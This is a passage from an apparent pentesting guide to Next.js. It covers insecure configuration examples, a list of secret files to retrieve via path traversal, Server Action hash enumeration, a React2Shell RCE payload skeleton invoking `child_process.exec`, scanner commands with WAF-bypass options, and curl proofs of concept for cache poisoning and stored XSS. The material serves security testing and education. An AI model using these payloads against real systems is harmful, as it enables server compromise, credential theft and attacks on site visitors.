   1026     NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL,
   1027   },
   1028 }
   1029 ```
   1030 
   1031 **Problem:**
   1032 
   1033 - **`SECRET_API_KEY`:** Values declared under the `env` key in `next.config.js` are always included in the JavaScript bundle, regardless of their name. For variables loaded normally from the process or `.env` files, `NEXT_PUBLIC_` is what opts a value into browser bundling.<sup>[[14]](#references)</sup>
   1034 
   1035 **How attackers abuse it:**
   1036 
   1037 If sensitive variables are exposed to the client, attackers can retrieve them by inspecting the client-side code or network requests, gaining unauthorized access to APIs, databases, or other services.
   1038 
   1039 </details>
   1040 
   1041 <details>
   1042 
   1043 <summary>Redirects</summary>
   1044 
   1045 Manage URL redirections and rewrites within your application, ensuring that users are directed appropriately without introducing open redirect vulnerabilities.
   1046 
   1047 #### a. Open Redirect Vulnerability
   1048 
   1049 **Bad Configuration Example:**
   1050 
   1051 ```javascript
   1052 // app/redirect/route.js
   1053 import { NextResponse } from "next/server"
   1054 
   1055 export function GET(request) {
   1056   const destination = request.nextUrl.searchParams.get("url")
   1057   return NextResponse.redirect(destination) // Vulnerable: no destination allowlist
   1058 }
   1059 ```
   1060 
   1061 **Problem:**
   1062 
   1063 - **Dynamic Destination:** Allows users to specify any URL, enabling open redirect attacks.
   1064 - **Trusting User Input:** Redirects to URLs provided by users without validation can lead to phishing, malware distribution, or credential theft.
   1065 
   1066 **How attackers abuse it:**
   1067 
   1068 Attackers can craft URLs that appear to originate from your domain but redirect users to malicious sites. For example:
   1069 
   1070 ```bash
   1071 https://yourdomain.com/redirect?url=https://malicious-site.com
   1072 ```
   1073 
   1074 Users trusting the original domain might unknowingly navigate to harmful websites.
   1075 
   1076 </details>
   1077 
   1078 <details>
   1079 
   1080 <summary>Webpack Configuration</summary>
   1081 
   1082 Customize Webpack configurations for your Next.js application, which can inadvertently introduce security vulnerabilities if not handled cautiously.
   1083 
   1084 #### a. Exposing Sensitive Modules
   1085 
   1086 **Bad Configuration Example:**
   1087 
   1088 ```javascript
   1089 // next.config.js
   1090 
   1091 module.exports = {
   1092   webpack: (config, { isServer }) => {
   1093     if (!isServer) {
   1094       config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
   1095     }
   1096     return config
   1097   },
   1098 }
   1099 ```
   1100 
   1101 **Problem:**
   1102 
   1103 - **Exposing Sensitive Paths:** Aliasing sensitive directories and allowing client-side access can leak confidential information.
   1104 - **Bundling Secrets:** If sensitive files are bundled for the client, their contents become accessible through source maps or inspecting the client-side code.
   1105 
   1106 **How attackers abuse it:**
   1107 
   1108 Attackers can access or reconstruct the application's directory structure, potentially finding and exploiting sensitive files or data.
   1109 
   1110 </details>
   1111 
   1112 ### `pages/_app.js` and `pages/_document.js`
   1113 
   1114 #### **`pages/_app.js`**
   1115 
   1116 **Purpose:** Overrides the default App component, allowing for global state, styles, and layout components.
   1117 
   1118 **Use Cases:**
   1119 
   1120 - Injecting global CSS.
   1121 - Adding layout wrappers.
   1122 - Integrating state management libraries.
   1123 
   1124 **Example:**
   1125 
   1126 ```jsx
   1127 // pages/_app.js
   1128 import "../styles/globals.css"
   1129 
   1130 function MyApp({ Component, pageProps }) {
   1131   return <Component {...pageProps} />
   1132 }
   1133 
   1134 export default MyApp
   1135 ```
   1136 
   1137 #### **`pages/_document.js`**
   1138 
   1139 **Purpose:** Overrides the default Document, enabling customization of the HTML and Body tags.
   1140 
   1141 **Use Cases:**
   1142 
   1143 - Modifying the `<html>` or `<body>` tags.
   1144 - Adding meta tags or custom scripts.
   1145 - Integrating third-party fonts.
   1146 
   1147 **Example:**
   1148 
   1149 ```jsx
   1150 // pages/_document.js
   1151 import Document, { Html, Head, Main, NextScript } from "next/document"
   1152 
   1153 class MyDocument extends Document {
   1154   render() {
   1155     return (
   1156       <Html lang="en">
   1157         <Head>{/* Custom fonts or meta tags */}</Head>
   1158         <body>
   1159           <Main />
   1160           <NextScript />
   1161         </body>
   1162       </Html>
   1163     )
   1164   }
   1165 }
   1166 
   1167 export default MyDocument
   1168 ```
   1169 
   1170 ### Custom Server (Optional)
   1171 
   1172 **Purpose:** While Next.js comes with a built-in server, you can create a custom server for advanced use cases like custom routing or integrating with existing backend services.
   1173 
   1174 **Note:** Using a custom server can limit deployment options, especially on platforms like Vercel that optimize for Next.js's built-in server.
   1175 
   1176 **Example:**
   1177 
   1178 ```javascript
   1179 // server.js
   1180 const express = require("express")
   1181 const next = require("next")
   1182 
   1183 const dev = process.env.NODE_ENV !== "production"
   1184 const app = next({ dev })
   1185 const handle = app.getRequestHandler()
   1186 
   1187 app.prepare().then(() => {
   1188   const server = express()
   1189 
   1190   // Custom route
   1191   server.get("/a", (req, res) => {
   1192     return app.render(req, res, "/a")
   1193   })
   1194 
   1195   // Default handler
   1196   server.all("*", (req, res) => {
   1197     return handle(req, res)
   1198   })
   1199 
   1200   server.listen(3000, (err) => {
   1201     if (err) throw err
   1202     console.log("> Ready on http://localhost:3000")
   1203   })
   1204 })
   1205 ```
   1206 
   1207 ---
   1208 
   1209 ## Additional Architectural and Security Considerations
   1210 
   1211 ### Environment Variables and Configuration
   1212 
   1213 **Purpose:** Manage sensitive information and configuration settings outside the codebase.
   1214 
   1215 **Best Practices:**
   1216 
   1217 - **Use `.env` Files:** Store variables like API keys in `.env.local` (excluded from version control).
   1218 - **Access Variables Securely:** Use `process.env.VARIABLE_NAME` to access environment variables.
   1219 - **Never Expose Secrets on the Client:** Ensure that sensitive variables are only used server-side.
   1220 
   1221 **Example:**
   1222 
   1223 ```javascript
   1224 // Server-only module: lib/data.js
   1225 import "server-only"
   1226 
   1227 export function getApiKey() {
   1228   return process.env.API_KEY
   1229 }
   1230 ```
   1231 
   1232 **Note:** Keep secrets out of the `env` object in `next.config.js`, do not give them a `NEXT_PUBLIC_` prefix, and access them only from server code. The `server-only` marker helps prevent accidental client imports.<sup>[[13]](#references)[[14]](#references)</sup>
   1233 
   1234 ### Useful server artifacts to target via LFI/download endpoints
   1235 
   1236 If you find a path traversal or download API in a Next.js app, target compiled artifacts that leak server-side secrets and auth logic:<sup>[[5]](#references)</sup>
   1237 
   1238 - `.env` / `.env.local` for session secrets and provider credentials.
   1239 - `.next/routes-manifest.json` and `.next/build-manifest.json` for a complete route list.
   1240 - `.next/server/pages/api/auth/[...nextauth].js` to recover the compiled NextAuth configuration (often contains fallback passwords when `process.env` values are unset).
   1241 - `next.config.js` / `next.config.mjs` to review rewrites, redirects and middleware routing.
   1242 
   1243 ### Authentication and Authorization
   1244 
   1245 **Approach:**
   1246 
   1247 - **Session-Based Authentication:** Use cookies to manage user sessions.
   1248 - **Token-Based Authentication:** Implement JWTs for stateless authentication.
   1249 - **Third-Party Providers:** Integrate with OAuth providers (e.g., Google, GitHub) using libraries like `next-auth`.
   1250 
   1251 **Security Practices:**
   1252 
   1253 - **Secure Cookies:** Set `HttpOnly`, `Secure`, and `SameSite` attributes.
   1254 - **Password Hashing:** Always hash passwords before storing them.
   1255 - **Input Validation:** Prevent injection attacks by validating and sanitizing inputs.
   1256 
   1257 **Example:**
   1258 
   1259 ```javascript
   1260 // pages/api/login.js
   1261 import { sign } from "jsonwebtoken"
   1262 import { serialize } from "cookie"
   1263 
   1264 export default async function handler(req, res) {
   1265   const { username, password } = req.body
   1266 
   1267   // Validate user credentials
   1268   if (username === "admin" && password === "password") {
   1269     const token = sign({ username }, process.env.JWT_SECRET, {
   1270       expiresIn: "1h",
   1271     })
   1272     res.setHeader(
   1273       "Set-Cookie",
   1274       serialize("auth", token, {
   1275         path: "/",
   1276         httpOnly: true,
   1277         secure: true,
   1278         sameSite: "strict",
   1279       })
   1280     )
   1281     res.status(200).json({ message: "Logged in" })
   1282   } else {
   1283     res.status(401).json({ error: "Invalid credentials" })
   1284   }
   1285 }
   1286 ```
   1287 
   1288 ### Performance Optimization
   1289 
   1290 **Strategies:**
   1291 
   1292 - **Image Optimization:** Use Next.js's `next/image` component for automatic image optimization.
   1293 - **Code Splitting:** Leverage dynamic imports to split code and reduce initial load times.
   1294 - **Caching:** Implement caching strategies for API responses and static assets.
   1295 - **Lazy Loading:** Load components or assets only when they are needed.
   1296 
   1297 **Example:**
   1298 
   1299 ```jsx
   1300 // Dynamic Import with Code Splitting
   1301 import dynamic from "next/dynamic"
   1302 
   1303 const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
   1304   loading: () => <p>Loading...</p>,
   1305 })
   1306 ```
   1307 
   1308 ## Next.js Server Actions Enumeration (hash to function name via source maps)
   1309 
   1310 Modern Next.js uses “Server Actions” that execute on the server but are invoked from the client. In production these invocations are opaque: all POSTs land on a common endpoint and are distinguished by a build-specific hash sent in the `Next-Action` header. Example:
   1311 
   1312 ```http
   1313 POST /
   1314 Next-Action: a9f8e2b4c7d1...
   1315 ```
   1316 
   1317 When `productionBrowserSourceMaps` is enabled, minified JS chunks contain calls to `createServerReference(...)` that leak enough structure (plus associated source maps) to recover a mapping between the action hash and the original function name. This lets you translate hashes observed in `Next-Action` into concrete targets like `deleteUserAccount()` or `exportFinancialData()`.<sup>[[1]](#references)</sup>
   1318 
   1319 ### Extraction approach (regex on minified JS + optional source maps)
   1320 
   1321 Search downloaded JS chunks for `createServerReference` and extract the hash and the function/source symbol. Two useful patterns:
   1322 
   1323 ```regex
   1324 # Strict pattern for standard minification
   1325 createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
   1326 
   1327 # Flexible pattern handling various minification styles
   1328 createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
   1329 ```
   1330 
   1331 - Group 1: server action hash (40+ hex chars)
   1332 - Group 2: symbol or path that can be resolved to the original function via the source map when present
   1333 
   1334 If the script advertises a source map (trailer comment `//# sourceMappingURL=<...>.map`), fetch it and resolve the symbol/path to the original function name.
   1335 
   1336 ### Practical workflow
   1337 
   1338 - Passive discovery while browsing: capture requests with `Next-Action` headers and JS chunk URLs.
   1339 - Fetch the referenced JS bundles and accompanying `*.map` files (when present).
   1340 - Run the regex above to build a hash↔name dictionary.
   1341 - Use the dictionary to target testing:
   1342   - Name-driven triage (e.g., `transferFunds`, `exportFinancialData`).
   1343   - Track coverage across builds by function name (hashes rotate across builds).
   1344 
   1345 ### Exercising hidden actions (template-based request)
   1346 
   1347 Take a valid POST observed in-proxy as a template and swap the `Next-Action` value to target another discovered action:
   1348 
   1349 ```http
   1350 # Before
   1351 Next-Action: a9f8e2b4c7d1
   1352 
   1353 # After
   1354 Next-Action: b7e3f9a2d8c5
   1355 ```
   1356 
   1357 Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.
   1358 
   1359 ### Burp automation
   1360 
   1361 - NextjsServerActionAnalyzer (Burp extension) automates the above in Burp:<sup>[[2]](#references)</sup>
   1362   - Mines proxy history for JS chunks, extracts `createServerReference(...)` entries, and parses source maps when available.
   1363   - Maintains a searchable hash↔function-name dictionary and de-duplicates across builds by function name.
   1364   - Can locate a valid template POST and open a ready-to-send Repeater tab with the target action’s hash swapped in.
   1365 - Repo: https://github.com/Adversis/NextjsServerActionAnalyzer<sup>[[2]](#references)</sup>
   1366 
   1367 ### Notes and limitations
   1368 
   1369 - Requires `productionBrowserSourceMaps` enabled in production to recover names from bundles/source maps.
   1370 - Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each action’s authorization.
   1371 
   1372 ### React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
   1373 
   1374 Next.js App Router deployments that expose Server Actions on `react-server-dom-webpack` **19.0.0–19.2.0 (Next.js 15.x/16.x)** contain a critical server-side prototype pollution during **Flight** chunk deserialization. By crafting `$` references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.<sup>[[3]](#references)</sup>
   1375 
   1376 [Readme](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview)
   1377 
   1378 #### Attack chain in Flight chunks
   1379 
   1380 1. **Prototype pollution primitive:** Set `"then": "$1:__proto__:then"` so that the resolver writes a `then` function on `Object.prototype`. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
   1381 2. **Rebinding to the global `Function` constructor:** Point `_response._formData.get` at `"$1:constructor:constructor"`. During resolution, `object.constructor` → `Object`, and `Object.constructor` → `Function`, so future calls to `_formData.get()` actually execute `Function(...)`.
   1382 3. **Code execution via `_prefix`:** Place JavaScript source in `_response._prefix`. When the polluted `_formData.get` is invoked, the framework evaluates `Function(_prefix)(...)`, so the injected JS can run `require('child_process').exec()` or any other Node primitive.
   1383 
   1384 #### Payload skeleton
   1385 
   1386 ```json
   1387 {
   1388   "then": "$1:__proto__:then",
   1389   "status": "resolved_model",
   1390   "reason": -1,
   1391   "value": "{\"then\":\"$B1337\"}",
   1392   "_response": {
   1393     "_prefix": "require('child_process').exec('id')",
   1394     "_chunks": "$Q2",
   1395     "_formData": { "get": "$1:constructor:constructor" }
   1396   }
   1397 }
   1398 ```
   1399 
   1400 #### Mapping React Server Function exposure
   1401 
   1402 React Server Functions (RSF) are any functions that include the `'use server';` directive. Every form action, mutation, or fetch helper bound to one of those functions becomes an RSC Flight endpoint that will happily deserialize attacker-supplied payloads. Useful recon steps derived from React2Shell assessments:<sup>[[4]](#references)</sup>
   1403 
   1404 - **Static inventory:** look for the directive to understand how many RSFs are being automatically exposed by the framework.
   1405 
   1406 ```bash
   1407 rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
   1408 ```
   1409 
   1410 - **App Router defaults:** `create-next-app` enables the App Router + `app/` directory by default, which silently turns every route into an RSC-capable endpoint. App Router assets such as `/_next/static/chunks/app/` or responses that stream Flight chunks over `text/x-component` are strong Internet-facing fingerprints.
   1411 - **Implicitly vulnerable RSC deployments:** React’s own advisory notes that apps shipping the RSC runtime can be exploitable **even without explicit RSFs**, so treat any build using `react-server-dom-*` 19.0.0–19.2.0 as suspect.
   1412 - **Other frameworks bundling RSC:** Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse the same serializer and inherit the identical remote attack surface until they embed patched React builds.
   1413 
   1414 #### Version coverage (React2Shell)
   1415 
   1416 - `react-server-dom-webpack`, `react-server-dom-parcel`, `react-server-dom-turbopack`: **vulnerable** in 19.0.0, 19.1.0–19.1.1 and 19.2.0; **patched** in 19.0.1, 19.1.2 and 19.2.1 respectively.
   1417 - **Next.js stable:** App Router releases 15.0.0–16.0.6 embed the vulnerable RSC stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 include fixed deps, so any build below those versions is high-value.
   1418 - **Next.js canary:** `14.3.0-canary.77+` also ships the buggy runtime and currently lacks patched canary drops, making those fingerprints strong exploitation candidates.<sup>[[4]](#references)</sup>
   1419 
   1420 #### Remote detection oracle
   1421 
   1422 Assetnote’s [`react2shell-scanner`](https://github.com/assetnote/react2shell-scanner) sends a crafted multipart Flight request to candidate paths and watches server-side behavior:<sup>[[6]](#references)</sup>
   1423 
   1424 - **Default mode** executes a deterministic RCE payload (math operation reflected via `X-Action-Redirect`) proving code execution.
   1425 - **`--safe-check` mode** purposefully malforms the Flight message so patched servers return `200/400`, while vulnerable targets emit `HTTP/500` responses containing the `E{"digest"` substring inside the body. That `(500 + digest)` pair is currently the most reliable remote oracle published by defenders.
   1426 - Built-in `--waf-bypass`, `--vercel-waf-bypass`, and `--windows` switches adjust payload layout, prepend junk, or swap OS commands so you can probe real Internet assets.
   1427 
   1428 ```bash
   1429 python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
   1430 python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
   1431 ```
   1432 
   1433 ### Other recent App Router issues (late 2025)
   1434 
   1435 1. **RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183)** – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a `text/x-component` body with abusive `$` references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.<sup>[[7]](#references)</sup>
   1436    - **Triage tip:** Unpatched targets return `500` with `E{"digest"` after malformed Flight payloads; patched builds return `400/200`. Test any endpoint already streaming Flight chunks (look for `Next-Action` headers or `text/x-component` responses) and replay with a modified payload.
   1437 
   1438 2. **RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2)** – missing `Vary` let an `Accept: text/x-component` response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads.<sup>[[8]](#references)</sup> PoC flow:
   1439    ```bash
   1440    # Prime CDN with an RSC response
   1441    curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
   1442    # Immediately fetch without Accept (victim view)
   1443    curl -k "https://target/app/dashboard" | head
   1444    ```
   1445    If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.
   1446 
   1447 3. **Header reflection + RSC content-type confusion -> stored / 0-click SXSS** – Some App Router deployments mirror incoming request headers into the response (often via `middleware.ts` / `proxy.ts`). If an external CDN caches RSC variants and does not safely isolate `Vary: Rsc`, that “low impact” reflection can become cross-user XSS:<sup>[[9]](#references)</sup>
   1448    - Send `Rsc: 1` to force a **dynamic** route to return the React Server Component payload instead of HTML. Dynamic routes are the interesting target because they reflect query parameters inside the Flight body after `__PAGE__`; prerendered routes are less useful and often expose `x-nextjs-prerender`.
   1449    - If the reflected request headers let you pre-seed `Content-Type: text/html`, Next.js keeps the attacker value because it only sets the default RSC `text/x-component` type when no `Content-Type` is already present. The browser then parses the RSC payload as HTML instead of inert Flight data.
   1450    - If the CDN stores that poisoned response, what looks like reflected XSS becomes **stored XSS via cache poisoning**. Query parameters commonly remain part of the cache key, so the exact payload URL becomes the retrieval key for later victims.
   1451    - To remove the “victim must open the payload URL” requirement, poison a high-traffic page such as `/` with a reflected `Refresh: 0; https://target/path?<same-payload>` header. `Location` needs a `3xx` status, but `Refresh` works on cacheable `200` responses and can bounce users into the already-poisoned RSC entry.<sup>[[10]](#references)</sup>
   1452 
   1453    Quick triage flow:
   1454    ```bash
   1455    # Stage 1: poison a dynamic route as HTML instead of text/x-component
   1456    curl -isk -H 'Rsc: 1' -H 'Content-Type: text/html' \
   1457      'https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E'
   1458 
   1459    # Stage 2: poison / with a cached browser-side redirect to the same key
   1460    curl -isk -H 'Refresh: 0; https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E' \
   1461      'https://target.tld/'
   1462    ```
   1463 
   1464    Triage tips:
   1465    - Compare the same route with and without `Rsc: 1`, then watch for `Content-Type`, `Vary: Rsc`, `CF-Cache-Status` / `X-Cache`, and unescaped query-string reflection after `__PAGE__`.
   1466    - Test both dynamic and prerendered routes. If `x-nextjs-prerender` is present, move to a dynamic path.
   1467    - Header-forwarding logic often lives in middleware/proxy matchers that exclude `_next/static`, `_next/image`, and `favicon.ico`, so static assets may not expose the same primitive.<sup>[[11]](#references)</sup>
   1468 
   1469 ## References
   1470 
   1471 - [1] [Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping](https://www.adversis.io/blogs/pentesting-next-js-server-actions)
   1472 - [2] [NextjsServerActionAnalyzer (Burp extension)](https://github.com/Adversis/NextjsServerActionAnalyzer)
   1473 - [3] [CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool](https://github.com/Spritualkb/CVE-2025-55182-exp)
   1474 - [4] [CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know](https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/)
   1475 - [5] [0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html)
   1476 - [6] [assetnote/react2shell-scanner](https://github.com/assetnote/react2shell-scanner)
   1477 - [7] [Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)](https://nextjs.org/blog/security-update-2025-12-11)
   1478 - [8] [GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning](https://github.com/advisories/GHSA-r2fc-ccr8-96c4)
   1479 - [9] [Re:CACHE - Excessive Reflection, Type Confusion, and 0-Click SXSS on Next.js](https://zhero-web-sec.github.io/research-and-things/re-cache-excessive-reflection-type-confusion-and-0-click-sxss-on-nextjs)
   1480 - [10] [MDN: Refresh header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Refresh)
   1481 - [11] [Next.js proxy matcher docs](https://nextjs.org/docs/app/api-reference/file-conventions/proxy)
   1482 - [12] [Next.js Route Handlers](https://nextjs.org/docs/app/getting-started/route-handlers)
   1483 - [13] [Next.js Server and Client Components: preventing environment poisoning](https://nextjs.org/docs/app/getting-started/server-and-client-components#preventing-environment-poisoning)
   1484 - [14] [Next.js environment variables and `next.config.js` `env`](https://nextjs.org/docs/pages/api-reference/config/next-config-js/env)
   1485 - [15] [Next.js Image Component: remote patterns](https://nextjs.org/docs/app/api-reference/components/image#remotepatterns)